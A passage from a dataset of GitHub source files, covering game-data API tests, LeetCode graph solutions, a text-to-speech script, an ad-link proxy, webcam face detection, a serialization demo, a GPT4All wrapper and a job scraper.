\"112345678910111213\",\n \"event\": \"112345678910111213\",\n \"war\": \"112345678910111213\",\n \"quest\": \"112345678910111213\",\n \"quest/112345678910111213\": \"1\",\n \"quest/94025012\": \"112345678910111213\",\n \"ai/svt\": \"112345678910111213\",\n \"ai/field\": \"112345678910111213\",\n \"bgm\": \"112345678910111213\",\n \"mm\": \"112345678910111213\",\n}\n\n\ncases_overflow = [\n pytest.param(key, value, id=key) for key, value in cases_overflow_dict.items()\n]\n\n\n@pytest.mark.asyncio\n@pytest.mark.parametrize(\"endpoint,item_id\", cases_overflow)\nasync def test_int_overflow_raw(\n client: AsyncClient, endpoint: str, item_id: str\n) -> None:\n response = await client.get(f\"/raw/JP/{endpoint}/{item_id}\")\n assert response.status_code == 404\n assert response.json()[\"detail\"][-9:] == \"not found\"\n\n\ncases_immutable_dict = {\n \"servant\": (\"184\", \"NA_Tomoe\"),\n \"skill\": (\"24550\", \"NA_skill_24550\"),\n \"NP\": (\"900101\", \"NA_NP_900101\"),\n \"function\": (\"400\", \"NA_function_400\"),\n}\n\n\ncases_immutable = [\n pytest.param(key, *value, id=key) for key, value in cases_immutable_dict.items()\n]\n\n\n# These are not really needed anymore since raw data uses the Pydantic objects instead of dicts now\n@pytest.mark.asyncio\n@pytest.mark.parametrize(\"endpoint,item_id,result\", cases_immutable)\nasync def test_immutable_master(\n client: AsyncClient, endpoint: str, item_id: str, result: str\n) -> None:\n await client.get(f\"/raw/NA/{endpoint}/{item_id}\")\n await client.get(f\"/raw/NA/{endpoint}/{item_id}?expand=True\")\n response = await client.get(f\"/raw/NA/{endpoint}/{item_id}\")\n assert response.status_code == 200\n assert response.json() == get_response_data(DATA_FOLDER, result)\n\n\n@pytest.mark.asyncio\nclass TestServantSpecial:\n async def test_NA_not_integer(self, client: AsyncClient) -> None:\n response = await client.get(\"/raw/NA/servant/asdf\")\n assert response.status_code == 422\n\n async def test_skill_reverse_passive(self, client: AsyncClient) -> None:\n response = await client.get(\"/raw/NA/skill/320650?reverse=True\")\n reverse_servants = {\n servant[\"mstSvt\"][\"id\"]\n for servant in response.json()[\"reverse\"][\"raw\"][\"servant\"]\n }\n assert response.status_code == 200\n assert reverse_servants == {500800}\n\n async def test_no_svtScript(self, client: AsyncClient) -> None:\n response = await client.get(\"/raw/JP/svtScript\")\n assert response.status_code == 200\n assert response.json() == []\n\n async def test_skill_reverse_CC(self, client: AsyncClient) -> None:\n response = await client.get(\"/raw/JP/skill/991970?reverse=True\")\n reverse_ccs = {\n cc[\"mstCommandCode\"][\"id\"] for cc in response.json()[\"reverse\"][\"raw\"][\"CC\"]\n }\n assert response.status_code == 200\n assert reverse_ccs == {8400500}\n\n async def test_buff_reverse_skillNp(self, client: AsyncClient) -> None:\n response = await client.get(\n \"/raw/NA/buff/202?reverse=True&reverseDepth=skillNp\"\n )\n assert response.status_code == 200\n assert response.json()[\"reverse\"][\"raw\"][\"function\"][0][\"reverse\"][\"raw\"][\n \"skill\"\n ]\n\n async def test_function_reverse_servant(self, client: AsyncClient) -> None:\n response = await client.get(\n \"/raw/NA/function/3410?reverse=True&reverseDepth=servant\"\n )\n assert response.status_code == 200\n assert response.json()[\"reverse\"][\"raw\"][\"skill\"][0][\"reverse\"][\"raw\"][\n \"servant\"\n ]\n\n async def test_buff_reverse_function_vals_actual_buff(\n self, client: AsyncClient\n ) -> None:\n response = await client.get(\"/raw/NA/buff/101?reverse=True\")\n assert response.status_code == 200\n assert {\n function[\"mstFunc\"][\"funcType\"]\n for function in response.json()[\"reverse\"][\"raw\"][\"function\"]\n }.isdisjoint(FUNC_VALS_NOT_BUFF)\n\n async def test_hyde_voice_id(self, client: AsyncClient) -> None:\n response = await client.get(\"/raw/NA/servant/600700?lore=true\")\n assert response.status_code == 200\n assert any(voice[\"id\"] == 600710 for voice in response.json()[\"mstSvtVoice\"])\n\n async def test_war_spots_from_multiple_maps(self, client: AsyncClient) -> None:\n response = await client.get(\"/raw/NA/war/9033\")\n assert {spot[\"warId\"] for spot in response.json()[\"mstSpot\"]} == {9033, 9034}\n\n async def test_scripts_first_run(self, client: AsyncClient) -> None:\n response = await client.get(\"/raw/JP/quest/94035033/2\")\n assert response.json()[\"scripts\"] == [\"9403503320\"]\n\n async def test_master_mission(self, client: AsyncClient) -> None:\n response = await client.get(\"/raw/NA/mm/10001\")\n assert response.status_code == 200\n data = response.json()\n assert data.get(\"mstMasterMission\") is not None\n assert len(data[\"mstEventMission\"]) > 0\n\n async def test_empty_eventAlloutBattle(self, client: AsyncClient) -> None:\n response = await client.get(\"/raw/JP/eventAlloutBattle\")\n assert len(response.json()) == 0\n\n\ndef test_get_quest_id_from_conds() -> None:\n conds = load_master_data(test_gamedata, MstEventMissionCondition)\n cond_details = load_master_data(test_gamedata, MstEventMissionConditionDetail)\n assert get_quest_ids_in_conds(conds, cond_details) == {\n 93030306,\n 94002213,\n 94002214,\n 94002215,\n 93000613,\n 93000107,\n 93020207,\n 93000208,\n 93020210,\n 93020306,\n 94002109,\n }\n","repo_name":"atlasacademy/fgo-game-data-api","sub_path":"tests/test_raw.py","file_name":"test_raw.py","file_ext":"py","file_size_in_byte":10914,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"48"} +{"seq_id":"26088928439","text":"#BFS\nclass Solution:\n def findOrder(self, numCourses: int, prerequisites: List[List[int]]) -> List[int]:\n self.childTable = [[] for i in range(numCourses)]\n self.dependNumTable = [0 for i in range(numCourses)]\n \n for dependancy in prerequisites:\n parent = dependancy[1]\n child = dependancy[0]\n self.childTable[parent].append(child)\n self.dependNumTable[child] += 1\n\n result = []\n queue = []\n for numCourse in range(numCourses):\n if self.dependNumTable[numCourse] == 0:\n queue.append(numCourse)\n while len(queue) > 0:\n course = queue.pop(0)\n result.append(course)\n for child in self.childTable[course]:\n self.dependNumTable[child] -= 1\n if self.dependNumTable[child] == 0:\n queue.append(child)\n \n return result if len(result) == numCourses else []\n\n#DFS time:O(v+E), space: O(V+E), depth: O(V)\nclass Solution:\n def findOrder(self, numCourses: int, prerequisites: List[List[int]]) -> List[int]:\n self.status_table = [\"unvisited\" for i in range(numCourses)]\n self.child_table = [[] for j in range(numCourses)]\n result = []\n for dependency in prerequisites:\n parent = dependency[1]\n child = dependency[0]\n self.child_table[parent].append(child)\n \n for idx in range(len(self.status_table)):\n if self.status_table[idx] == \"unvisited\":\n if not self.helper(idx, result):\n return []\n return reversed(result)\n \n def helper(self, course, result):\n if self.status_table[course] == \"visiting\":\n return False\n self.status_table[course] = \"visiting\"\n for child in self.child_table[course]:\n if self.status_table[child] == \"visited\":\n continue\n if not self.helper(child, result):\n return False\n result.append(course)\n self.status_table[course] = \"visited\"\n return True\n\n# DFS, build reverse table\nclass Solution(object):\n def findOrder(self, numCourses, prerequisites):\n \"\"\"\n :type numCourses: int\n :type prerequisites: List[List[int]]\n :rtype: List[int]\n \"\"\"\n child_table = {}\n status_table = {}\n ans =[]\n for num in range(numCourses):\n child_table[num] = []\n status_table[num] = \"unvisited\"\n self.buildChildTable(child_table, prerequisites)\n for num in range(numCourses):\n if status_table[num] == \"visited\":\n continue\n if not self.helper(status_table, child_table, num, ans):\n return []\n return ans\n \n def helper(self, status_table, child_table, num, ans):\n if status_table[num] == \"visiting\":\n return False\n status_table[num] = \"visiting\"\n for child in child_table[num]:\n if status_table[child] == \"visited\":\n continue\n if not self.helper(status_table, child_table, child, ans):\n return False\n ans.append(num)\n status_table[num] = \"visited\"\n return True\n\n def buildChildTable(self, table, prerequisites):\n for dependancy in prerequisites:\n table[dependancy[0]].append(dependancy[1])","repo_name":"finderkiller/LeetCode","sub_path":"210CourseScheduleII.py","file_name":"210CourseScheduleII.py","file_ext":"py","file_size_in_byte":3440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39463796886","text":"\n# Made by Bryce Gernon, edited from https://pytorch.org/tutorials/intermediate/text_to_speech_with_torchaudio.html\n# Runs pytorch example code to run voice generator\n\n\nimport sys\nimport torch\nimport torchaudio\nimport matplotlib.pyplot as plt\nimport time\nimport IPython\n\n\n# Define hyperparams + initial vars\n\nOUTPUT_DIR = \"C:\\\\Users\\\\brger\\\\PycharmProjects\\\\VoiceReplicator\\\\audio\"\ntorch.random.manual_seed(91817)\ndevice = \"cpu\"\nsymbol_list = '_-!\\'(),.:;? abcdefghijklmnopqrstuvwxyz'\nlook_up_tables = {s: i for i, s in enumerate(symbol_list)} # Build lookup tables for TacoTron2\nsymbol_set = set(symbol_list) # Build mathematical set out of symbols\nprint(look_up_tables)\nprint(symbol_set)\n#sys.exit()\nsource = torchaudio.pipelines.TACOTRON2_WAVERNN_PHONE_LJSPEECH\ntransforms = source.get_text_processor() # Load symbol->tensor transforms for tacotron, phoneme-based encoding, waveRNN vocoder\nspectrolizer = source.get_tacotron2().to(device) # Load tensor->spectrogram tacotron model\nwaveformer = source.get_vocoder().to(device) # Load spectrogram->waveform WaveRNN model\n\ndef text_to_sequence(text):\n text = text.lower() # Convert to lowercase to match symbol set\n return [look_up_tables[s] for s in text if s in symbol_list] # Converts text to symbols using lookup table\n\ndef text_to_spectrogram(text):\n proc, len = transforms(text)\n proc = proc.to(device)\n len = len.to(device)\n spc = spectrolizer.infer(proc, len) # returns spectrogram + unused data, seperate spectrogram\n return spc\n\ndef spectrogram_to_waveform(spectrogram):\n return waveformer(spectrogram[0], spectrogram[1])\n\n\ndef main():\n start = time.perf_counter()\n test_text = \"Testing Testing Testing\"\n code = hash(test_text)\n print(code)\n with torch.inference_mode():\n processed_text = transforms(test_text)\n processed, lengths = processed_text\n print(transforms(test_text))\n print(\"Phonemes:\")\n print([transforms.tokens[i] for i in processed[0, :lengths[0]]])\n spc = text_to_spectrogram(test_text)\n waveform = spectrogram_to_waveform(spc)\n # plt.figure(figsize=(10, 8))\n # plt.plot(x_new, y_new, 'b')\n # plt.plot(x, y, 'ro')\n # plt.title('Bryce Gernon')\n # plt.xlabel('Time(s)')\n # plt.ylabel('Velocity (ft/s)')\n # plt.show()\n # plt.plot(spc[0].cpu().detach().numpy())\n torchaudio.save(OUTPUT_DIR + \"\\\\\" + str(code) + \"_output_char_wavernn.wav\", waveform[0][0:1].cpu(), sample_rate=waveformer.sample_rate)\n plt.imshow(spc[0][0].cpu().detach())\n plt.savefig(OUTPUT_DIR + \"\\\\\" + str(code) + \"_spectrogram.png\")\n plt.show()\n print(time.perf_counter() - start)\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n main()\n","repo_name":"Hachimocho/TESTING_VoiceSynthesis","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37259866351","text":"# 1. 다음과 같은 2개의 리스트가 있습니다. 2개의 리스트에 공통적인 요소를 추출하는 리스트 함축 코드를 작성하세요. 실행시 아래와 같은 결과가 나오면 됩니다.\n# ------------ 실행결과\n# a = [1,2,3,4,5]\n# b = [1,3,3,4,5,6,7]\n# 결과 = [1,3,4,5]\n\nlist1 = [1, 2, 3, 4, 5]\nlist2 = [1, 3, 3, 4, 5, 6, 7]\nresult = [x for x in list1 if x in list2]\nprint(result)","repo_name":"seohyeon1578/python-programming","sub_path":"과제/3주차/list1.py","file_name":"list1.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13771203241","text":"# I realize that the way I'm doing this is non-standard.\n\nimport re\nimport urllib2\n\n# for compatibility with django view\nclass HttpResponse (object) :\n def __init__ (self, content = \"\", mimetype = None, status = 200) :\n self.content = content\n self.status = status\n self.mimetype = mimetype\n\n def construct (self) :\n descriptions = {\n 502 : \"Bad Gateway\",\n 400 : \"Bad Request\",\n 200 : \"OK\",\n }\n\n return self.content, (\n # Status\n \"%s %s\" % (str(self.status), descriptions[self.status]), \n # Other headers\n [(\"Content-Type\", self.mimetype), (\"Content-Length\", str(len(self.content)))]\n )\n \nclass HttpResponseRedirect (object) :\n def __init__ (self, where) :\n self.where = where\n\n def construct (self) :\n # Is the empty string neccessary?\n return \"\", (\"302 Found\", [(\"Location\", self.where)])\n \n# ripped right out of the django app's views! \ndef proxy (request, code) :\n try :\n response = urllib2.urlopen(\"http://adf.ly/%s\" % code, timeout=5)\n except urllib2.URLError :\n return HttpResponse(\"Couldn't connect to adfly.\", mimetype=\"text/plain\", status=502)\n\n data = response.read()\n\n matches = re.search(r'var url = \\'(.*?)\\';', data)\n\n if matches is None :\n return HttpResponse(\"Invalid response from adfly.\", mimetype=\"text/plain\", status=502)\n\n gourl = matches.group(1)\n prefix = \"https://adf.ly\"\n\n # inconsistency is the spice of life\n if gourl.startswith(prefix) :\n gourl = gourl[len(prefix):]\n\n try :\n con = httplib.HTTPConnection(\"adf.ly\", timeout=5)\n con.request(\"GET\", gourl)\n except httplib.HTTPException :\n return HttpResponse(\"Couldn't connect adfly to get the destination of the /go/ url.\", mimetype=\"text/plain\", status=502)\n except timeout :\n return HttpResponse(\"Connection to adfly for the /go/ url timed out.\", mimetype=\"text/plain\", status=502)\n\n resp = con.getresponse()\n url = resp.getheader(\"Location\")\n\n if resp.status != 302 or not url :\n return HttpResponse(\"Invalid /go/ response from adfly.\", mimetype=\"text/plain\", status=502)\n\n return HttpResponseRedirect(url)\n \ndef application (environ, start_response) :\n code = environ[\"REQUEST_URI\"][len(environ[\"SCRIPT_NAME\"])+1:]\n if re.match(r\"[A-Za-z0-9]{5}\", code) :\n output, params = proxy(None, code).construct()\n else :\n output, params = HttpResponse(\"You're calling this manually or you specified an invalid code.\", mimetype=\"text/plain\", status=400).construct()\n\n start_response(*params)\n\n return [output]\n","repo_name":"salvager/adfly-proxy","sub_path":"adflyproxy.wsgi","file_name":"adflyproxy.wsgi","file_ext":"wsgi","file_size_in_byte":2697,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"71884744467","text":"#python code env\r\n#-*-coding:utf-8-*-\r\n#Code by Crix @ crixthegreat@gmail.com\r\n#https://github.com/crixthegreat/\r\n#codetime: 2019/8/20 13:46:11\r\n\r\nimport numpy as np\r\nimport cv2\r\n\r\n#img = cv2.imread('vim-key.png')\r\n#cv2.imshow('image', img)\r\n#k = cv2.waitKey(0)\r\n#cv2.destroyAllWindows()\r\n\r\n# when the arguement of VideoCapture is file name\r\n# the video file can be played from\r\ncap = cv2.VideoCapture(0)\r\n\r\n\r\n# define the codec and create videowriter object\r\nfourcc = cv2.VideoWriter_fourcc(*'XVID')\r\nvideo_out = cv2.VideoWriter('test.avi', fourcc, 20.0, (640,480))\r\n\r\ndrawing = False # True if mouse is pressed\r\nmode = True # if True, draw rectangle. Press 'm' to toggle to curve\r\nix, iy = -1, -1\r\n\r\n\r\n# mouse callback function\r\ndef draw_circle(event, x, y, flags, param):\r\n global ix, iy, drawing, mode\r\n \r\n if event == cv2.EVENT_LBUTTONDOWN:\r\n drawing = True\r\n ix, iy = x, y\r\n elif event == cv2.EVENT_MOUSEMOVE:\r\n if drawing:\r\n if mode:\r\n cv2.rectangle(frame, (ix,iy), (x,y), (0,255,0), -1)\r\n else:\r\n cv2.circle(frame, (x,y), 5, (0,0,255), -1)\r\n elif event == cv2.EVENT_LBUTTONUP:\r\n drawing = False\r\n if mode:\r\n cv2.rectangle(frame, (ix,iy), (x,y), (0,255,0), -1)\r\n else:\r\n cv2.circle(frame, (x,y), 5, (0,0,255), -1)\r\n\r\ndef nothing(x):\r\n pass\r\n\r\ncv2.namedWindow('test1')\r\ncv2.setMouseCallback('test1', draw_circle)\r\n\r\n# creat a Trackbar\r\ncv2.createTrackbar('color', 'test', 0, 255, nothing)\r\n\r\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\r\neye_cascade = cv2.CascadeClassifier('haarcascade_eye.xml')\r\n\r\nwhile(True):\r\n # now read every frame from the camera\r\n ret, frame = cap.read()\r\n # get gray output\r\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n faces = face_cascade.detectMultiScale(gray, 1.3, 5)\r\n\r\n for (x,y,w,h) in faces:\r\n frame = cv2.rectangle(frame, (x,y), (x+w,y+h), (255,0,0), 2)\r\n roi_gray = gray[y:y+h, x:x+w]\r\n roi_color = frame[y:y+h, x:x+w]\r\n eyes = eye_cascade.detectMultiScale(roi_gray)\r\n for (ex,ey,ew,eh) in eyes:\r\n cv2.rectangle(roi_color,(ex,ey), (ex+ew,ey+eh), (0,255,0),2)\r\n\r\n\r\n # draw a blue line\r\n #frame = cv2.line(frame, (0,0), (511,311), (255,0,0), 5)\r\n # draw a rectangle\r\n #frame = cv2.rectangle(frame, (340,0), (400,128), (0,255,0), 3)\r\n # draw a circle\r\n #frame = cv2.circle(frame, (400,60), 60, (0,0,255), -1)\r\n # draw a ploygon\r\n #pts = np.array([[10,5], [20,30], [70,20], [50,10]], np.int32)\r\n #pts = pts.reshape((-1,1,2))\r\n #frame = cv2.polylines(frame, [pts], True, (0,255,255))\r\n # print text\r\n font = cv2.FONT_HERSHEY_SIMPLEX\r\n cv2.putText(frame, 'face detection test', (10,400), font, 1, (255,255,255), 2, cv2.LINE_AA)\r\n\r\n # set all pixel 's red to 0\r\n #frame[:, :, 2] = 0\r\n video_out.write(frame)\r\n cv2.imshow('test1', frame)\r\n k = cv2.waitKey(1) & 0xFF \r\n if k == 27:\r\n break\r\n\r\ncap.release()\r\nvideo_out.release()\r\ncv2.destroyAllWindows()\r\n","repo_name":"crixthegreat/opencv","sub_path":"opencv/face/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74877892306","text":"from GalaxyJsonEncoder import *\nfrom GalaxyFlatBufferEncoder import *\nfrom Galaxy.galaxy import Galaxy\nimport time\nimport os\nimport shutil\n\ndef main():\n # Delete files from previous runs\n output_folder = \"output\"\n if os.path.exists(output_folder):\n shutil.rmtree(output_folder)\n os.mkdir(output_folder)\n\n # Generate mock galaxy with mock solar systems\n input_galaxy = Galaxy()\n input_galaxy.generate_solar_systems(9)\n\n file_name_json = 'output/galaxy.json'\n file_name_flat_buffer = 'output/galaxy.bin'\n\n # Serialize and deserialize using JSON\n start_time = time.time()\n GalaxyJsonEncoder.serialize(input_galaxy, file_name_json)\n process_time = time.time() - start_time\n print(f\"JSON serialize runtime: {process_time} seconds\")\n start_time = time.time()\n output_galaxy = GalaxyJsonEncoder.deserialize(file_name_json)\n process_time = time.time() - start_time\n print(f\"JSON deserialize runtime: {process_time} seconds\")\n output_galaxy.visualize_galaxy()\n\n # Serialize and deserialize using flat buffers\n start_time = time.time()\n GalaxyFlatBufferEncoder.serialize(input_galaxy, file_name_flat_buffer)\n process_time = time.time() - start_time\n print(f\"FlatBuffer serialize runtime: {process_time} seconds\")\n\n start_time = time.time()\n output_galaxy = GalaxyFlatBufferEncoder.deserialize(file_name_flat_buffer)\n process_time = time.time() - start_time\n print(f\"FlatBuffer deserialize runtime: {process_time} seconds\")\n output_galaxy.visualize_galaxy()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"TomK-127/FlatBufferDemo","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5460106677","text":"import os\nimport sys\nimport requests\nimport subprocess\nfrom tqdm import tqdm\nfrom pathlib import Path\nfrom loguru import logger\nimport platform\ntry:\n import torch\nexcept ImportError:\n torch = None\n pass\n\nclass GPT4AllGPU():\n def __init__(self, llama_path=None):\n from peft import PeftModelForCausalLM\n from transformers import AutoModelForCausalLM, AutoTokenizer\n\n if llama_path is None:\n raise ValueError('Please pass a path to your alpaca model.')\n\n self.model_path = llama_path\n self.tokenizer_path = llama_path\n self.lora_path = 'nomic-ai/vicuna-lora-multi-turn_epoch_2'\n self.model = AutoModelForCausalLM.from_pretrained(self.model_path,\n device_map=\"auto\",\n torch_dtype=torch.float16)\n self.tokenizer = AutoTokenizer.from_pretrained(self.tokenizer_path)\n added_tokens = self.tokenizer.add_special_tokens({\"bos_token\": \"\", \"eos_token\": \"\", \"pad_token\": \"\"})\n\n if added_tokens > 0:\n self.model.resize_token_embeddings(len(self.tokenizer))\n\n self.model = PeftModelForCausalLM.from_pretrained(self.model,\n self.lora_path,\n device_map=\"auto\",\n torch_dtype=torch.float16)\n self.model.to(dtype=torch.float16)\n print(f\"Mem needed: {self.model.get_memory_footprint() / 1024 / 1024 / 1024:.2f} GB\")\n\n def generate(self, prompt, generate_config=None):\n if generate_config is None:\n generate_config = {}\n\n input_ids = self.tokenizer(prompt, return_tensors=\"pt\").input_ids.to(self.model.device)\n outputs = self.model.generate(input_ids=input_ids,\n **generate_config)\n\n decoded = self.tokenizer.decode(outputs[0], skip_special_tokens=True).strip()\n return decoded[len(prompt):]\n\n\ndef prompt(prompt, model = 'gpt4all-lora-quantized'):\n with GPT4All(model) as gpt4all:\n return gpt4all.prompt(prompt)\n \nclass GPT4All():\n def __init__(self, model = 'gpt4all-lora-quantized', force_download=False, decoder_config=None):\n \"\"\"\n :param model: The model to use. Currently supported are 'gpt4all-lora-quantized' and 'gpt4all-lora-unfiltered-quantized'\n :param force_download: If True, will overwrite the model and executable even if they already exist. Please don't do this!\n :param decoder_config: Default None. A dictionary of key value pairs to be passed to the decoder\n\n \"\"\"\n if decoder_config is None:\n decoder_config = {}\n\n self.bot = None\n self.model = model\n self.decoder_config = decoder_config\n assert model in ['gpt4all-lora-quantized', 'gpt4all-lora-unfiltered-quantized']\n self.executable_path = Path(\"~/.nomic/gpt4all\").expanduser()\n self.model_path = Path(f\"~/.nomic/{model}.bin\").expanduser()\n\n if force_download or not self.executable_path.exists():\n logger.info('Downloading executable...')\n self._download_executable()\n if force_download or not (self.model_path.exists() and self.model_path.stat().st_size > 0): \n logger.info('Downloading model...')\n self._download_model()\n\n def __enter__(self):\n self.open()\n return self\n \n def open(self):\n if self.bot is not None:\n self.close()\n # This is so dumb, but today is not the day I learn C++.\n creation_args = [self.executable_path, '--model', self.model_path]\n for k, v in self.decoder_config.items():\n creation_args.append(f\"--{k}\")\n creation_args.append(str(v))\n \n self.bot = subprocess.Popen(creation_args,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE)\n\n # queue up the prompt.\n self._parse_to_prompt(write_to_stdout=False)\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n logger.debug(\"Ending session...\")\n self.close()\n\n def close(self):\n self.bot.kill()\n self.bot = None\n\n def _download_executable(self):\n if not self.executable_path.exists():\n plat = platform.platform()\n if 'macOS' in plat and 'arm64' in plat:\n upstream = 'https://static.nomic.ai/gpt4all/gpt4all-pywrap-mac-arm64'\n elif 'Linux' in plat:\n upstream = 'https://static.nomic.ai/gpt4all/gpt4all-pywrap-linux-x86_64'\n else:\n raise NotImplementedError(f\"Your platform is not supported: {plat}. Current binaries supported are x86 Linux and ARM Macs.\")\n response = requests.get(upstream, stream=True)\n if response.status_code == 200:\n os.makedirs(self.executable_path.parent, exist_ok=True)\n total_size = int(response.headers.get('content-length', 0))\n with open(self.executable_path, \"wb\") as f:\n for chunk in tqdm(response.iter_content(chunk_size=8192), total=total_size // 8192, unit='KB'):\n f.write(chunk)\n self.executable_path.chmod(0o755) \n print(f\"File downloaded successfully to {self.executable_path}\")\n\n else:\n print(f\"Failed to download the file. Status code: {response.status_code}\")\n\n def _download_model(self):\n # First download the quantized model.\n\n if not self.model_path.exists():\n response = requests.get(f'https://the-eye.eu/public/AI/models/nomic-ai/gpt4all/{self.model}.bin',\n stream=True)\n if response.status_code == 200:\n os.makedirs(self.model_path.parent, exist_ok=True)\n total_size = int(response.headers.get('content-length', 0))\n with open(self.model_path, \"wb\") as f:\n for chunk in tqdm(response.iter_content(chunk_size=8192), total=total_size // 8192, unit='KB'):\n f.write(chunk)\n print(f\"File downloaded successfully to {self.model_path}\")\n else:\n print(f\"Failed to download the file. Status code: {response.status_code}\")\n\n def _parse_to_prompt(self, write_to_stdout = True):\n bot_says = ['']\n point = b''\n bot = self.bot\n while True:\n point += bot.stdout.read(1)\n try:\n character = point.decode(\"utf-8\")\n if character == \"\\f\": # We've replaced the delimiter character with this.\n return \"\\n\".join(bot_says)\n if character == \"\\n\":\n bot_says.append('')\n if write_to_stdout:\n sys.stdout.write('\\n')\n sys.stdout.flush()\n else:\n bot_says[-1] += character\n if write_to_stdout:\n sys.stdout.write(character)\n sys.stdout.flush()\n point = b''\n\n except UnicodeDecodeError:\n if len(point) > 4:\n point = b''\n\n def prompt(self, prompt, write_to_stdout = False):\n \"\"\"\n Write a prompt to the bot and return the response.\n \"\"\"\n bot = self.bot\n continuous_session = self.bot is not None\n if not continuous_session:\n logger.warning(\"Running one-off session. For continuous sessions, use a context manager: `with GPT4All() as bot: bot.prompt('a'), etc.`\")\n self.open()\n bot.stdin.write(prompt.encode('utf-8'))\n bot.stdin.write(b\"\\n\")\n bot.stdin.flush()\n return_value = self._parse_to_prompt(write_to_stdout)\n if not continuous_session:\n self.close()\n return return_value \n\n","repo_name":"qmeng222/MovieVista","sub_path":"env/lib/python3.10/site-packages/nomic/gpt4all/gpt4all.py","file_name":"gpt4all.py","file_ext":"py","file_size_in_byte":8102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72125959826","text":"import requests\nfrom bs4 import BeautifulSoup\nimport csv\n\n# Функция вывода html кода всей страницы\ndef get_html(url):\n r = requests.get(url)\n return r.text\n#Выясняем количество страниц\ndef get_total_pages(html):\n soup = BeautifulSoup(html, 'lxml')\n #Класс = значению из html кода (следующая страница)\n pages = soup.find('div', class_='pagination-pages').find_all('a', class_='pagination-page')[-1].get('href')\n # Вытаскиваем номер последней страницы\n # Разбиваем строку на символы по знаку =, выбираем второй элемент [1] и еще раз делим по & и берем первый\n # элемент [0]\n total_pages = pages.split('=')[1].split('&')[0]\n return int(total_pages)\n#Функция сохранения данных в файл csv\ndef write_csv(date):\n with open('j50.csv', 'a') as f:\n writer = csv.writer(f, delimiter=';', lineterminator='\\n')\n writer.writerow( (date['profecy'], date['firm'], date['price'], date['url']) )\n\n# функция сбора данных со страницы поиска\ndef get_page_data(html):\n # выборка нужных данных\n soup = BeautifulSoup(html, 'lxml')\n # print(soup) #выбираем всю таблицу\n ads = soup.find('td', id='resultsCol')# id='resultsCol')#, class_='search-table'\n # ads = kds.find_all('table', class_='search-table') find_all('td').\n print(ads)\n # for ad in ads:\n # # #profecy, firm, price, date, url\n # try:\n # profecy = ad.find('a', class_='profecy').text.strip()\n # except:\n # profecy = ''\n # try:\n # firm = ad.find('a', class_='search-param-firm').text.strip()\n # except:\n # firm = ''\n # try:\n # url = ad.find('a', class_='profecy').get('href')\n # except:\n # url = ''\n # try:\n # price = ad.find('span', class_='search-earning').text.strip()\n # except:\n # price = ''\n # # try:\n # # date = ad.find('td', class_='valign').find_all('align').text.strip()\n # # except:\n # # date = ''\n # data = {'profecy':profecy,\n # 'firm':firm,\n # 'price':price,\n # 'url':url}\n # write_csv(data)\n\ndef main():\n url = 'https://ru.indeed.com/jobs?q=%D0%A2%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5&start=170'\n #Начало url\n base_url = 'https://ru.trovit.com/rabota/index.php/cod.search_jobs/type.0/what_d.'\n #СЛОВО ПОИСКА\n vacan = 'pytho'\n # Поисковый запрос\n query_part = '/where_d.'\n where = 'moscow'\n query_part_2 = '/sug.0/isUserSearch.1/origin.1'\n # total_pages = get_total_pages(get_html(url))\n for i in range(0, 1):#задаем диапазон просматриваемых страниц. вместо total_pages ставим 3\n # Формирование url (склеивание)\n url_gen = base_url + vacan + query_part + where + query_part_2\n html = get_html(url)\n # print(html)\n get_page_data(html)\n\nif __name__ == '__main__':\n main()\n","repo_name":"avto727/Parser_Python","sub_path":"j50_job1.py","file_name":"j50_job1.py","file_ext":"py","file_size_in_byte":3355,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25873168921","text":"import sys\nfrom functools import lru_cache\ndef input():\n return sys.stdin.readline().rstrip()\n\ndef variance_range(left,right):\n if number_dict.get((left,right)):\n return number_dict[(left,right)]\n averge_square = (prefix_sum[right] - prefix_sum[left-1])/(right-left+1)\n result = averge_square*averge_square * (right-left+1) + (square_sum[right] - square_sum[left-1]) - 2 * averge_square*(prefix_sum[right] - prefix_sum[left-1])\n number_dict[(left,right)] = result\n return result\n\n\nBucket_Size = int(input())\nN = int(input())\nprefix_sum = [0 for _ in range(N+1)]\nsquare_sum = [0 for _ in range(N+1)]\ndp = [[float('inf') for _ in range(Bucket_Size+1)] for _ in range(N+1)]\ndp[0][0] = 0\nfor ind in range(1,N+1):\n num = int(input())\n prefix_sum[ind] += prefix_sum[ind-1] + num\n square_sum[ind] += square_sum[ind-1] + (num**2)\n\nnumber_dict = {}\nfor right_idx in range(1,N+1):\n for left_idx in range(1,right_idx+1):\n temp = variance_range(left_idx,right_idx)\n\n for bucket in range(1,Bucket_Size+1):\n if dp[right_idx][bucket] > dp[left_idx-1][bucket-1] + temp:\n dp[right_idx][bucket] = dp[left_idx-1][bucket-1] + 